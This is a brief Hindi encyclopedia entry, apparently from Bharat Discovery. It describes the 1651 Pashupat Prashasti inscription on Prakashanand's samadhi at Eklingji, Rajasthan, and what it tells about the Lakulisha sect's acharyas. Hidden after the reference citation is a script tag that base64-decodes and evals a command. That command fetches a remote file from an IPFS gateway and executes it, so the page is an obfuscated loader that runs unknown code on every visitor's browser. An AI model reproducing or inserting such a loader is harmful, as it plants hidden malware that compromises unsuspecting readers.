पाशुपत प्रशस्ति

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

पाशुपत प्रशस्ति 1651 ई. की है। यह एकलिंगजी, राजस्थान में प्रकाशानंद की समाधि पर लगी हुई है।

  • इस प्रशस्ति में लकुलीश संप्रदाय के आचार्य के नाम का उल्लेख मिलता है।
  • प्रशस्ति से एकलिंगजी के मठ के आचार्य की परंपरा की जानकारी मिलती है।[1]
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. राजस्थान के अभिलेख (हिंदी) samanyagyanedu.in। अभिगमन तिथि: 19 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख